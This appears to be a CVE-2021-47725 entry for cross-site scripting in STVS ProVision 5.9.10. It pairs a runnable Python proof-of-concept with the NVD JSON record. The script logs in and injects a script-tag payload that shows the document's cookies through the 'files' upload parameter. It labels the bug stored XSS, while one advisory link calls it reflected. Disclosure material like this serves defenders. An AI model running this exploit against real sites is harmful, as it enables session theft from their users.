CVE-2021-47725

import requests import sys # CVE-2021-47725 PoC - STVS ProVision XSS via files parameter # Target: STVS ProVision 5.9.10 # Vulnerability: Stored XSS in 'files' POST parameter TARGET_URL = "http://target.com/stvs-provision" LOGIN_URL = f"{TARGET_URL}/login" UPLOAD_URL = f"{TARGET_URL}/files/upload" USERNAME = "attacker" PASSWORD = "password" XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def login(session): """Authenticate with low-privilege account""" data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(LOGIN_URL, data=data) return response.status_code == 200 def exploit(session): """Inject XSS payload via files POST parameter""" data = { 'files': XSS_PAYLOAD, 'action': 'upload' } response = session.post(UPLOAD_URL, data=data) return response.status_code == 200 def main(): session = requests.Session() if login(session): print("[+] Login successful") if exploit(session): print("[+] XSS payload injected successfully") print("[*] Payload will execute when victim visits the page") else: print("[-] Exploitation failed") else: print("[-] Login failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2021-47725", "sourceIdentifier": "[email protected]", "published": "2025-12-31T19:15:41.743", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "STVS ProVision 5.9.10 contains a cross-site scripting vulnerability in the 'files' POST parameter that allows authenticated attackers to inject arbitrary HTML code. Attackers can exploit the unvalidated input to execute malicious scripts within a user's browser session in the context of the affected site."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cxsecurity.com/issue/WLB-2021010188", "source": "[email protected]"}, {"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/195723", "source": "[email protected]"}, {"url": "https://packetstormsecurity.com/files/161158/STVS-ProVision-5.9.10-Cross-Site-Scripting.html", "source": "[email protected]"}, {"url": "https://stvs.com/", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/stvs-provision-authenticated-reflected-cross-site-scripting-via-files-parameter", "source": "[email protected]"}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5624.php", "source": "[email protected]"}]}}